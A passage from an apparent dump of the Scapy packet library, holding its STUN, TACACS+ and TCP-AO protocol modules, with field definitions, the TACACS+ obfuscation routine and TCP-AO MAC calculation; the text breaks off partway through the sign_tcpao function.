    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Pavel Oborin <oborin.p@gmail.com>\n\n# RFC 8489\n# scapy.contrib.description = Session Traversal Utilities for NAT (STUN)\n# scapy.contrib.status = loads\n\n\"\"\"\n    STUN (RFC 8489)\n\n    TLV code derived from the DTP implementation:\n      Thanks to Nicolas Bareil,\n                Arnaud Ebalard,\n                Jochen Bartl.\n\"\"\"\nimport struct\nimport itertools\n\nfrom scapy.layers.inet import UDP, TCP\nfrom scapy.config import conf\nfrom scapy.packet import Packet, bind_bottom_up, bind_top_down\nfrom scapy.utils import inet_ntoa, inet_aton\nfrom scapy.fields import (\n    BitField,\n    BitEnumField,\n    LenField,\n    IntField,\n    PadField,\n    StrLenField,\n    PacketListField,\n    XShortField,\n    FieldLenField,\n    ShortField,\n    ByteEnumField,\n    ByteField,\n    XNBytesField,\n    XLongField,\n    XIntField,\n    XBitField,\n    IPField,\n    IP6Field,\n    MultipleTypeField,\n)\n\nMAGIC_COOKIE = 0x2112A442\n\n_stun_class = {\n    \"request\": 0b00,\n    \"indication\": 0b01,\n    \"success response\": 0b10,\n    \"error response\": 0b11\n}\n\n_stun_method = {\n    \"Binding\": 0b000000000001\n}\n\n# fmt: off\n_stun_message_type = {\n    \"{} {}\".format(method, class_):\n        (method_code & 0b000000001111)      |    # noqa: E221,W504\n        (class_code  & 0b01)           << 4 |    # noqa: E221,W504\n        (method_code & 0b000001110000) << 5 |    # noqa: E221,W504\n        (class_code  & 0b10)           << 7 |    # noqa: E221,W504\n        (method_code & 0b111110000000) << 9\n    for (method, method_code), (class_, class_code) in\n        itertools.product(_stun_method.items(), _stun_class.items())    # noqa: E131\n}\n# fmt: on\n\n\nclass STUNGenericTlv(Packet):\n    name = \"STUN Generic TLV\"\n\n    fields_desc = [\n        XShortField(\"type\", 0x0000),\n        FieldLenField(\"length\", None, length_of=\"value\"),\n        PadField(StrLenField(\"value\", \"\", length_from=lambda pkt:pkt.length), align=4)\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kwargs):\n        if _pkt and len(_pkt) >= 2:\n            t = struct.unpack(\"!H\", _pkt[:2])[0]\n            return _stun_tlv_class.get(t, cls)\n        return cls\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass STUNUsername(STUNGenericTlv):\n    name = \"STUN Username\"\n\n    fields_desc = [\n        XShortField(\"type\", 0x0006),\n        FieldLenField(\"length\", None, length_of=\"username\"),\n        PadField(\n            StrLenField(\"username\", '', length_from=lambda pkt: pkt.length),\n            align=4, padwith=b\"\\x20\"\n        )\n    ]\n\n\nclass STUNMessageIntegrity(STUNGenericTlv):\n    name = \"STUN Message Integrity\"\n\n    fields_desc = [\n        XShortField(\"type\", 0x0008),\n        ShortField(\"length\", 20),\n        XNBytesField(\"hmac_sha1\", 0, 20)\n    ]\n\n    def post_build(self, pkt, pay):\n        pkt += pay\n        return pkt\n\n\nclass STUNPriority(STUNGenericTlv):\n    name = \"STUN Priority\"\n\n    fields_desc = [\n        XShortField(\"type\", 0x0024),\n        ShortField(\"length\", 4),\n        IntField(\"priority\", 0)\n    ]\n\n\n_xor_mapped_address_family = {\n    \"IPv4\": 0x01,\n    \"IPv6\": 0x02\n}\n\n\nclass XorPort(ShortField):\n\n    def m2i(self, pkt, x):\n        return x ^ (MAGIC_COOKIE >> 16)\n\n    def i2m(self, pkt, x):\n        return x ^ (MAGIC_COOKIE >> 16)\n\n\nclass XorIp(IPField):\n\n    def m2i(self, pkt, x):\n        return inet_ntoa(struct.pack(\">i\", (struct.unpack(\">i\", x)[0] ^ MAGIC_COOKIE)))\n\n    def i2m(self, pkt, x):\n        if x is None:\n            return b\"\\x00\\x00\\x00\\x00\"\n        return struct.pack(\">i\", struct.unpack(\">i\", inet_aton(x))[0] ^ MAGIC_COOKIE)\n\n\nclass XorIp6(IP6Field):\n\n    def m2i(self, pkt, x):\n        addr = self._xor_address(pkt, x)\n        return super().m2i(pkt, addr)\n\n    def i2m(self, pkt, x):\n        addr = super().i2m(pkt, x)\n        return self._xor_address(pkt, addr)\n\n    def _xor_address(self, pkt, addr):\n        xor_words = [pkt.parent.magic_cookie]\n        xor_words += struct.unpack(\n            \">III\", pkt.parent.transaction_id.to_bytes(12, \"big\")\n        )\n        addr_words = struct.unpack(\">IIII\", addr)\n        xor_addr = [a ^ b for a, b in zip(addr_words, xor_words)]\n        return struct.pack(\">IIII\", *xor_addr)\n\n\nclass STUNXorMappedAddress(STUNGenericTlv):\n    name = \"STUN XOR Mapped Address\"\n\n    fields_desc = [\n        XShortField(\"type\", 0x0020),\n        FieldLenField(\"length\", None, length_of=\"xip\", adjust=lambda pkt, x: x + 4),\n        ByteField(\"RESERVED\", 0),\n        ByteEnumField(\"address_family\", 1, _xor_mapped_address_family),\n        XorPort(\"xport\", 0),\n        MultipleTypeField(\n            [\n                (XorIp(\"xip\", \"127.0.0.1\"), lambda pkt: pkt.address_family == 1),\n                (XorIp6(\"xip\", \"::1\"), lambda pkt: pkt.address_family == 2),\n            ],\n            XorIp(\"xip\", \"127.0.0.1\"),\n        ),\n    ]\n\n\nclass STUNMappedAddress(STUNGenericTlv):\n    name = \"STUN Mapped Address\"\n\n    fields_desc = [\n        XShortField(\"type\", 0x0001),\n        FieldLenField(\"length\", None, length_of=\"ip\", adjust=lambda pkt, x: x + 4),\n        ByteField(\"RESERVED\", 0),\n        ByteEnumField(\"address_family\", 1, _xor_mapped_address_family),\n        ShortField(\"port\", 0),\n        MultipleTypeField(\n            [\n                (IPField(\"ip\", \"127.0.0.1\"), lambda pkt: pkt.address_family == 1),\n                (IP6Field(\"ip\", \"::1\"), lambda pkt: pkt.address_family == 2),\n            ],\n            IPField(\"ip\", \"127.0.0.1\"),\n        ),\n    ]\n\n\nclass STUNUseCandidate(STUNGenericTlv):\n    name = \"STUN Use Candidate\"\n\n    fields_desc = [\n        XShortField(\"type\", 0x0025),\n        FieldLenField(\"length\", 0, length_of=\"value\"),\n        PadField(StrLenField(\"value\", \"\", length_from=lambda pkt: pkt.length), align=4)\n    ]\n\n\nclass STUNFingerprint(STUNGenericTlv):\n    name = \"STUN Fingerprint\"\n\n    fields_desc = [\n        XShortField(\"type\", 0x8028),\n        ShortField(\"length\", 4),\n        XIntField(\"crc_32\", None)\n    ]\n\n\nclass STUNIceControlling(STUNGenericTlv):\n    name = \"STUN ICE-controlling\"\n\n    fields_desc = [\n        XShortField(\"type\", 0x802a),\n        ShortField(\"length\", 8),\n        XLongField(\"tie_breaker\", None)\n    ]\n\n\nclass STUNGoogNetworkInfo(STUNGenericTlv):\n    name = \"STUN Google Network Info\"\n\n    fields_desc = [\n        XShortField(\"type\", 0xc057),\n        ShortField(\"length\", 4),\n        ShortField(\"network_id\", 0),\n        ShortField(\"network_cost\", 999)\n    ]\n\n\n_stun_tlv_class = {\n    0x0001: STUNMappedAddress,\n    0x0006: STUNUsername,\n    0x0008: STUNMessageIntegrity,\n    0x0020: STUNXorMappedAddress,\n    0x0025: STUNUseCandidate,\n    0x0024: STUNPriority,\n    0x8028: STUNFingerprint,\n    0x802a: STUNIceControlling,\n    0xc057: STUNGoogNetworkInfo\n}\n\n_stun_tlv_attribute_types = {\n    \"MAPPED-ADDRESS\": 0x0001,\n    \"USERNAME\": 0x0006,\n    \"MESSAGE-INTEGRITY\": 0x0008,\n    \"ERROR-CODE\": 0x0009,\n    \"UNKNOWN-ATTRIBUTES\": 0x000A,\n    \"REALM\": 0x0014,\n    \"NONCE\": 0x0015,\n    \"XOR-MAPPED-ADDRESS\": 0x0020,\n    \"PRIORITY\": 0x0024,\n    \"USE-CANDIDATE\": 0x0025,\n    \"SOFTWARE\": 0x8022,\n    \"ALTERNATE-SERVER\": 0x8023,\n    \"FINGERPRINT\": 0x8028,\n    \"ICE-CONTROLLED\": 0x8029,\n    \"ICE-CONTROLLING\": 0x802a,\n    \"GOOG-NETWORK-INFO\": 0xc057\n}\n\n\nclass STUN(Packet):\n    description = \"\"\n\n    fields_desc = [\n        BitField('RESERVED', 0b00, size=2),   # <- always zeroes\n        BitEnumField('stun_message_type', None, 14, _stun_message_type),\n        LenField('length', None, fmt='!h'),\n        XIntField('magic_cookie', MAGIC_COOKIE),\n        XBitField('transaction_id', None, 96),\n        PacketListField(\"attributes\", [], STUNGenericTlv)\n    ]\n\n    def post_build(self, pkt, pay):\n        pkt += pay\n        if self.length is None:\n            pkt = pkt[:2] + struct.pack(\"!h\", len(pkt) - 20) + pkt[4:]\n        for attr in self.attributes:\n            if isinstance(attr, STUNMessageIntegrity):\n                pass    # TODO Fill hmac-sha1 in MESSAGE-INTEGRITY attribute\n        return pkt\n\n\nbind_bottom_up(UDP, STUN, sport=3478)\nbind_bottom_up(UDP, STUN, dport=3478)\nbind_top_down(UDP, STUN, sport=3478, dport=3478)\n\nbind_bottom_up(TCP, STUN, sport=3478)\nbind_bottom_up(TCP, STUN, dport=3478)\nbind_top_down(TCP, STUN, sport=3478, dport=3478)\n"
  },
  {
    "path": "scapy/contrib/tacacs.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2017 Francois Contat <francois.contat@ssi.gouv.fr>\n\n\"\"\"\nTACACS\n\nBased on tacacs+ v6 draft\nhttps://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06\n\"\"\"\n\n# scapy.contrib.description = Terminal Access Controller Access-Control System+\n# scapy.contrib.status = loads\n\nimport struct\nimport hashlib\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteEnumField, ByteField, IntField\nfrom scapy.fields import FieldListField\nfrom scapy.fields import FieldLenField, ConditionalField, StrLenField\nfrom scapy.layers.inet import TCP\nfrom scapy.compat import chb, orb\nfrom scapy.config import conf\n\nSECRET = 'test'\n\n\ndef obfuscate(pay, secret, session_id, version, seq):\n    '''\n\n    Obfuscation methodology from section 3.7\n    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7\n\n    '''\n\n    pad = b\"\"\n    curr_pad = b\"\"\n\n    # pad length must equal the payload to obfuscate.\n    # pad = {MD5_1 [,MD5_2 [ ... ,MD5_n]]}\n\n    while len(pad) < len(pay):\n\n        msg = hashlib.md5()\n        msg.update(struct.pack('!I', session_id))\n        msg.update(secret.encode())\n        msg.update(struct.pack('!BB', version, seq))\n        msg.update(curr_pad)\n        curr_pad = msg.digest()\n        pad += curr_pad\n\n    # Obf/Unobfuscation via XOR operation between plaintext and pad\n\n    return b\"\".join(chb(orb(pad[i]) ^ orb(pay[i])) for i in range(len(pay)))\n\n\nTACACSPRIVLEVEL = {15: 'Root',\n                   1: 'User',\n                   0: 'Minimum'}\n\n##########################\n# Authentication Packets #\n##########################\n\nTACACSVERSION = {1: 'Tacacs',\n                 192: 'Tacacs+'}\n\nTACACSTYPE = {1: 'Authentication',\n              2: 'Authorization',\n              3: 'Accounting'}\n\nTACACSFLAGS = {1: 'Unencrypted',\n               4: 'Single Connection'}\n\nTACACSAUTHENACTION = {1: 'Login',\n                      2: 'Change Pass',\n                      4: 'Send Authentication'}\n\nTACACSAUTHENTYPE = {1: 'ASCII',\n                    2: 'PAP',\n                    3: 'CHAP',\n                    4: 'ARAP',  # Deprecated\n                    5: 'MSCHAP',\n                    6: 'MSCHAPv2'}\n\nTACACSAUTHENSERVICE = {0: 'None',\n                       1: 'Login',\n                       2: 'Enable',\n                       3: 'PPP',\n                       4: 'ARAP',\n                       5: 'PT',\n                       6: 'RCMD',\n                       7: 'X25',\n                       8: 'NASI',\n                       9: 'FwProxy'}\n\nTACACSREPLYPASS = {1: 'PASS',\n                   2: 'FAIL',\n                   3: 'GETDATA',\n                   4: 'GETUSER',\n                   5: 'GETPASS',\n                   6: 'RESTART',\n                   7: 'ERROR',\n                   21: 'FOLLOW'}\n\nTACACSREPLYFLAGS = {1: 'NOECHO'}\n\nTACACSCONTINUEFLAGS = {1: 'ABORT'}\n\n\nclass TacacsAuthenticationStart(Packet):\n\n    '''\n\n    Tacacs authentication start body from section 4.1\n    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.1\n\n    '''\n\n    name = 'Tacacs Authentication Start Body'\n    fields_desc = [ByteEnumField('action', 1, TACACSAUTHENACTION),\n                   ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL),\n                   ByteEnumField('authen_type', 1, TACACSAUTHENTYPE),\n                   ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE),\n                   FieldLenField('user_len', None, fmt='!B', length_of='user'),\n                   FieldLenField('port_len', None, fmt='!B', length_of='port'),\n                   FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'),  # noqa: E501\n                   FieldLenField('data_len', None, fmt='!B', length_of='data'),\n                   ConditionalField(StrLenField('user', '', length_from=lambda x: x.user_len),  # noqa: E501\n                                    lambda x: x != ''),\n                   StrLenField('port', '', length_from=lambda x: x.port_len),\n                   StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len),  # noqa: E501\n                   StrLenField('data', '', length_from=lambda x: x.data_len)]\n\n\nclass TacacsAuthenticationReply(Packet):\n\n    '''\n\n    Tacacs authentication reply body from section 4.2\n    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.2\n\n    '''\n\n    name = 'Tacacs Authentication Reply Body'\n    fields_desc = [ByteEnumField('status', 1, TACACSREPLYPASS),\n                   ByteEnumField('flags', 0, TACACSREPLYFLAGS),\n                   FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'),  # noqa: E501\n                   FieldLenField('data_len', None, fmt='!H', length_of='data'),\n                   StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len),  # noqa: E501\n                   StrLenField('data', '', length_from=lambda x: x.data_len)]\n\n\nclass TacacsAuthenticationContinue(Packet):\n\n    '''\n\n    Tacacs authentication continue body from section 4.3\n    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.3\n\n    '''\n\n    name = 'Tacacs Authentication Continue Body'\n    fields_desc = [FieldLenField('user_msg_len', None, fmt='!H', length_of='user_msg'),  # noqa: E501\n                   FieldLenField('data_len', None, fmt='!H', length_of='data'),\n                   ByteEnumField('flags', 1, TACACSCONTINUEFLAGS),\n                   StrLenField('user_msg', '', length_from=lambda x: x.user_msg_len),  # noqa: E501\n                   StrLenField('data', '', length_from=lambda x: x.data_len)]\n\n#########################\n# Authorization Packets #\n#########################\n\n\nTACACSAUTHORTYPE = {0: 'Not Set',\n                    1: 'None',\n                    2: 'Kerberos 5',\n                    3: 'Line',\n                    4: 'Enable',\n                    5: 'Local',\n                    6: 'Tacacs+',\n                    8: 'Guest',\n                    16: 'Radius',\n                    17: 'Kerberos 4',\n                    32: 'RCMD'}\n\nTACACSAUTHORSTATUS = {1: 'Pass Add',\n                      2: 'Pass repl',\n                      16: 'Fail',\n                      17: 'Error',\n                      33: 'Follow'}\n\n\nclass TacacsAuthorizationRequest(Packet):\n\n    '''\n\n    Tacacs authorization request body from section 5.1\n    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.1\n\n    '''\n\n    name = 'Tacacs Authorization Request Body'\n    fields_desc = [ByteEnumField('authen_method', 0, TACACSAUTHORTYPE),\n                   ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL),\n                   ByteEnumField('authen_type', 1, TACACSAUTHENTYPE),\n                   ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE),\n                   FieldLenField('user_len', None, fmt='!B', length_of='user'),\n                   FieldLenField('port_len', None, fmt='!B', length_of='port'),\n                   FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'),  # noqa: E501\n                   FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'),  # noqa: E501\n                   FieldListField('arg_len_list', [], ByteField('', 0),\n                                  length_from=lambda pkt: pkt.arg_cnt),\n                   StrLenField('user', '', length_from=lambda x: x.user_len),\n                   StrLenField('port', '', length_from=lambda x: x.port_len),\n                   StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len)]  # noqa: E501\n\n    def guess_payload_class(self, pay):\n        if self.arg_cnt > 0:\n            return TacacsPacketArguments\n        return conf.padding_layer\n\n\nclass TacacsAuthorizationReply(Packet):\n\n    '''\n\n    Tacacs authorization reply body from section 5.2\n    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.2\n\n    '''\n\n    name = 'Tacacs Authorization Reply Body'\n    fields_desc = [ByteEnumField('status', 0, TACACSAUTHORSTATUS),\n                   FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'),  # noqa: E501\n                   FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'),  # noqa: E501\n                   FieldLenField('data_len', None, fmt='!H', length_of='data'),\n                   FieldListField('arg_len_list', [], ByteField('', 0),\n                                  length_from=lambda pkt: pkt.arg_cnt),\n                   StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len),  # noqa: E501\n                   StrLenField('data', '', length_from=lambda x: x.data_len)]\n\n    def guess_payload_class(self, pay):\n        if self.arg_cnt > 0:\n            return TacacsPacketArguments\n        return conf.padding_layer\n\n\n######################\n# Accounting Packets #\n######################\n\nTACACSACNTFLAGS = {2: 'Start',\n                   4: 'Stop',\n                   8: 'Watchdog'}\n\nTACACSACNTSTATUS = {1: 'Success',\n                    2: 'Error',\n                    33: 'Follow'}\n\n\nclass TacacsAccountingRequest(Packet):\n\n    '''\n\n    Tacacs accounting request body from section 6.1\n    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.1\n\n    '''\n\n    name = 'Tacacs Accounting Request Body'\n    fields_desc = [ByteEnumField('flags', 0, TACACSACNTFLAGS),\n                   ByteEnumField('authen_method', 0, TACACSAUTHORTYPE),\n                   ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL),\n                   ByteEnumField('authen_type', 1, TACACSAUTHENTYPE),\n                   ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE),\n                   FieldLenField('user_len', None, fmt='!B', length_of='user'),\n                   FieldLenField('port_len', None, fmt='!B', length_of='port'),\n                   FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'),  # noqa: E501\n                   FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'),  # noqa: E501\n                   FieldListField('arg_len_list', [], ByteField('', 0),\n                                  length_from=lambda pkt: pkt.arg_cnt),\n                   StrLenField('user', '', length_from=lambda x: x.user_len),\n                   StrLenField('port', '', length_from=lambda x: x.port_len),\n                   StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len)]  # noqa: E501\n\n    def guess_payload_class(self, pay):\n        if self.arg_cnt > 0:\n            return TacacsPacketArguments\n        return conf.padding_layer\n\n\nclass TacacsAccountingReply(Packet):\n\n    '''\n\n    Tacacs accounting reply body from section 6.2\n    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.2\n\n    '''\n\n    name = 'Tacacs Accounting Reply Body'\n    fields_desc = [FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'),  # noqa: E501\n                   FieldLenField('data_len', None, fmt='!H', length_of='data'),\n                   ByteEnumField('status', None, TACACSACNTSTATUS),\n                   StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len),  # noqa: E501\n                   StrLenField('data', '', length_from=lambda x: x.data_len)]\n\n\nclass TacacsPacketArguments(Packet):\n\n    '''\n\n    Class defined to handle the arguments listed at the end of tacacs+\n    Authorization and Accounting packets.\n\n    '''\n\n    __slots__ = ['_len']\n    name = 'Arguments in Tacacs+ packet'\n    fields_desc = [StrLenField('data', '', length_from=lambda pkt: pkt._len)]\n\n    def pre_dissect(self, s):\n        cur = self.underlayer\n        i = 0\n\n        # Searching the position in layer in order to get its length\n\n        while isinstance(cur, TacacsPacketArguments):\n            cur = cur.underlayer\n            i += 1\n        self._len = cur.arg_len_list[i]\n        return s\n\n    def guess_payload_class(self, pay):\n        cur = self.underlayer\n        i = 0\n\n        # Guessing if Argument packet. Nothing in encapsulated via tacacs+\n\n        while isinstance(cur, TacacsPacketArguments):\n            cur = cur.underlayer\n            i += 1\n        if i + 1 < cur.arg_cnt:\n            return TacacsPacketArguments\n        return conf.padding_layer\n\n\nclass TacacsClientPacket(Packet):\n\n    '''\n\n    Super class for tacacs packet in order to get them unencrypted\n    Obfuscation methodology from section 3.7\n    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7\n\n    '''\n\n    def post_dissect(self, pay):\n\n        if self.flags == 0:\n            pay = obfuscate(pay, SECRET, self.session_id, self.version, self.seq)  # noqa: E501\n\n        return pay\n\n\nclass TacacsHeader(TacacsClientPacket):\n\n    '''\n\n    Tacacs Header packet from section 3.8\n    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.8\n\n    '''\n\n    name = 'Tacacs Header'\n    fields_desc = [ByteEnumField('version', 192, TACACSVERSION),\n                   ByteEnumField('type', 1, TACACSTYPE),\n                   ByteField('seq', 1),\n                   ByteEnumField('flags', 0, TACACSFLAGS),\n                   IntField('session_id', 0),\n                   IntField('length', None)]\n\n    def guess_payload_class(self, payload):\n\n        # Guessing packet type from type and seq values\n\n        # Authentication packet - type 1\n\n        if self.type == 1:\n            if self.seq % 2 == 0:\n                return TacacsAuthenticationReply\n            if sum(struct.unpack('bbbb', payload[4:8])) == len(payload[8:]):\n                return TacacsAuthenticationStart\n            elif sum(struct.unpack('!hh', payload[:4])) == len(payload[5:]):\n                return TacacsAuthenticationContinue\n\n        # Authorization packet - type 2\n\n        if self.type == 2:\n            if self.seq % 2 == 0:\n                return TacacsAuthorizationReply\n            return TacacsAuthorizationRequest\n\n        # Accounting packet - type 3\n\n        if self.type == 3:\n            if self.seq % 2 == 0:\n                return TacacsAccountingReply\n            return TacacsAccountingRequest\n\n        return conf.raw_layer\n\n    def post_build(self, p, pay):\n\n        # Setting length of packet to obfuscate if not filled by user\n\n        if self.length is None and pay:\n            p = p[:-4] + struct.pack('!I', len(pay))\n\n        if self.flags == 0:\n            pay = obfuscate(pay, SECRET, self.session_id, self.version, self.seq)  # noqa: E501\n\n        return p + pay\n\n    def hashret(self):\n        return struct.pack('I', self.session_id)\n\n    def answers(self, other):\n        return (isinstance(other, TacacsHeader) and\n                self.seq == other.seq + 1 and\n                self.type == other.type and\n                self.session_id == other.session_id)\n\n\nbind_layers(TCP, TacacsHeader, dport=49)\nbind_layers(TCP, TacacsHeader, sport=49)\nbind_layers(TacacsHeader, TacacsAuthenticationStart, type=1, dport=49)\nbind_layers(TacacsHeader, TacacsAuthenticationReply, type=1, sport=49)\n\nif __name__ == '__main__':\n    from scapy.main import interact\n    interact(mydict=globals(), mybanner='tacacs+')\n"
  },
  {
    "path": "scapy/contrib/tcpao.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Leonard Crestez <cdleonard@gmail.com>\n\n# scapy.contrib.description = TCP-AO Signature Calculation\n# scapy.contrib.status = loads\n\n\"\"\"Packet-processing utilities implementing RFC5925 and RFC5926\"\"\"\n\nimport logging\nfrom scapy.compat import orb\nfrom scapy.layers.inet import IP, TCP\nfrom scapy.layers.inet import tcp_pseudoheader\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.packet import Packet\nfrom scapy.pton_ntop import inet_pton\nimport socket\nimport struct\n\nfrom typing import (\n    Union,\n)\n\nlogger = logging.getLogger(__name__)\n\n\ndef _hmac_sha1_digest(key, msg):\n    # type: (bytes, bytes) -> bytes\n    import hmac\n    import hashlib\n\n    return hmac.new(key, msg, hashlib.sha1).digest()\n\n\ndef _cmac_aes_digest(key, msg):\n    # type: (bytes, bytes) -> bytes\n    from cryptography.hazmat.primitives import cmac\n    from cryptography.hazmat.primitives.ciphers import algorithms\n    from cryptography.hazmat.backends import default_backend\n\n    backend = default_backend()\n    c = cmac.CMAC(algorithms.AES(key), backend=backend)\n    c.update(bytes(msg))\n    return c.finalize()\n\n\nclass TCPAOAlg:\n    @classmethod\n    def kdf(cls, master_key, context):\n        # type: (bytes, bytes) -> bytes\n        raise NotImplementedError()\n\n    @classmethod\n    def mac(cls, traffic_key, context):\n        # type: (bytes, bytes) -> bytes\n        raise NotImplementedError()\n\n    maclen = -1\n\n\nclass TCPAOAlg_HMAC_SHA1(TCPAOAlg):\n    @classmethod\n    def kdf(cls, master_key, context):\n        # type: (bytes, bytes) -> bytes\n        input = b\"\\x01\" + b\"TCP-AO\" + context + b\"\\x00\\xa0\"\n        return _hmac_sha1_digest(master_key, input)\n\n    @classmethod\n    def mac(cls, traffic_key, message):\n        # type: (bytes, bytes) -> bytes\n        return _hmac_sha1_digest(traffic_key, message)[:12]\n\n    maclen = 12\n\n\nclass TCPAOAlg_CMAC_AES(TCPAOAlg):\n    @classmethod\n    def kdf(self, master_key, context):\n        # type: (bytes, bytes) -> bytes\n        if len(master_key) == 16:\n            key = master_key\n        else:\n            key = _cmac_aes_digest(b\"\\x00\" * 16, master_key)\n        return _cmac_aes_digest(key, b\"\\x01TCP-AO\" + context + b\"\\x00\\x80\")\n\n    @classmethod\n    def mac(self, traffic_key, message):\n        # type: (bytes, bytes) -> bytes\n        return _cmac_aes_digest(traffic_key, message)[:12]\n\n    maclen = 12\n\n\ndef get_alg(name):\n    # type: (str) -> TCPAOAlg\n    if name.upper() == \"HMAC-SHA-1-96\":\n        return TCPAOAlg_HMAC_SHA1()\n    elif name.upper() == \"AES-128-CMAC-96\":\n        return TCPAOAlg_CMAC_AES()\n    else:\n        raise ValueError(\"Bad TCP AuthOpt algorithms {}\".format(name))\n\n\ndef _get_ipvx_src(u):\n    # type: (Union[IP, IPv6]) -> bytes\n    if isinstance(u, IP):\n        return inet_pton(socket.AF_INET, u.src)\n    elif isinstance(u, IPv6):\n        return inet_pton(socket.AF_INET6, u.src)\n    else:\n        raise Exception(\"Neither IP nor IPv6 found on packet\")\n\n\ndef _get_ipvx_dst(u):\n    # type: (Union[IP, IPv6]) -> bytes\n    if isinstance(u, IP):\n        return inet_pton(socket.AF_INET, u.dst)\n    elif isinstance(u, IPv6):\n        return inet_pton(socket.AF_INET6, u.dst)\n    else:\n        raise Exception(\"Neither IP nor IPv6 found on packet\")\n\n\ndef build_context(\n    saddr,  # type: bytes\n    daddr,  # type: bytes\n    sport,  # type: int\n    dport,  # type: int\n    src_isn,  # type: int\n    dst_isn,  # type: int\n):\n    # type: (...) -> bytes\n    \"\"\"Build context bytes as specified by RFC5925 section 5.2\"\"\"\n    if len(saddr) != len(daddr) or (len(saddr) != 4 and len(saddr) != 16):\n        raise ValueError(\"saddr and daddr must be 4-byte or 16-byte addresses\")\n    return (\n        saddr +\n        daddr +\n        struct.pack(\n            \"!HHII\",\n            sport,\n            dport,\n            src_isn,\n            dst_isn,\n        )\n    )\n\n\ndef build_context_from_packet(\n    p,  # type: Packet\n    src_isn,  # type: int\n    dst_isn,  # type: int\n):\n    # type: (...) -> bytes\n    \"\"\"Build context bytes as specified by RFC5925 section 5.2\"\"\"\n    tcp = p[TCP]\n    return build_context(\n        _get_ipvx_src(tcp.underlayer),\n        _get_ipvx_dst(tcp.underlayer),\n        tcp.sport,\n        tcp.dport,\n        src_isn,\n        dst_isn,\n    )\n\n\ndef build_message_from_packet(p, include_options=True, sne=0):\n    # type: (Packet, bool, int) -> bytes\n    \"\"\"Build message bytes as described by RFC5925 section 5.1\"\"\"\n    result = bytearray()\n    result += struct.pack(\"!I\", sne)\n    result += tcp_pseudoheader(p[TCP])\n\n    # tcp header with checksum set to zero\n    th_bytes = bytes(p[TCP])\n    result += th_bytes[:16]\n    result += b\"\\x00\\x00\"\n    result += th_bytes[18:20]\n\n    # Even if include_options=False the TCP-AO option itself is still included\n    # with the MAC set to all-zeros. This means we need to parse TCP options.\n    pos = 20\n    th = p[TCP]\n    doff = th.dataofs\n    if doff is None:\n        opt_len = len(th.get_field(\"options\").i2m(th, th.options))\n        doff = 5 + ((opt_len + 3) // 4)\n    tcphdr_optend = doff * 4\n    while pos < tcphdr_optend:\n        optnum = orb(th_bytes[pos])\n        pos += 1\n        if optnum == 0 or optnum == 1:\n            if include_options:\n                result += bytearray([optnum])\n            continue\n\n        optlen = orb(th_bytes[pos])\n        pos += 1\n        if pos + optlen - 2 > tcphdr_optend:\n            logger.info(\"bad tcp option %d optlen %d beyond end-of-header\",\n                        optnum, optlen)\n            break\n        if optlen < 2:\n            logger.info(\"bad tcp option %d optlen %d less than two\",\n                        optnum, optlen)\n            break\n        if optnum == 29:\n            if optlen < 4:\n                logger.info(\"bad tcp option %d optlen %d\", optnum, optlen)\n                break\n            result += th_bytes[pos - 2: pos + 2]\n            result += (optlen - 4) * b\"\\x00\"\n        elif include_options:\n            result += th_bytes[pos - 2: pos + optlen - 2]\n        pos += optlen - 2\n    result += bytes(p[TCP].payload)\n    return result\n\n\ndef calc_tcpao_traffic_key(p, alg, master_key, sisn, disn):\n    # type: (Packet, TCPAOAlg, bytes, int, int) -> bytes\n    \"\"\"Calculate TCP-AO traffic-key from packet and initial sequence numbers\n\n    This is constant for an established connection.\n    \"\"\"\n    return alg.kdf(master_key, build_context_from_packet(p, sisn, disn))\n\n\ndef calc_tcpao_mac(p, alg, traffic_key, include_options=True, sne=0):\n    # type: (Packet, TCPAOAlg, bytes, bool, int) -> bytes\n    \"\"\"Calculate TCP-AO MAC from packet and traffic key\"\"\"\n    return alg.mac(traffic_key, build_message_from_packet(\n        p, include_options=include_options, sne=sne\n    ))\n\n\ndef sign_tcpao(\n    p,\n    alg,\n    traffic_key,\n    keyid=0,\n    rnextkeyid=0,\n    include_options=True,\n    sne=0,\n):\n    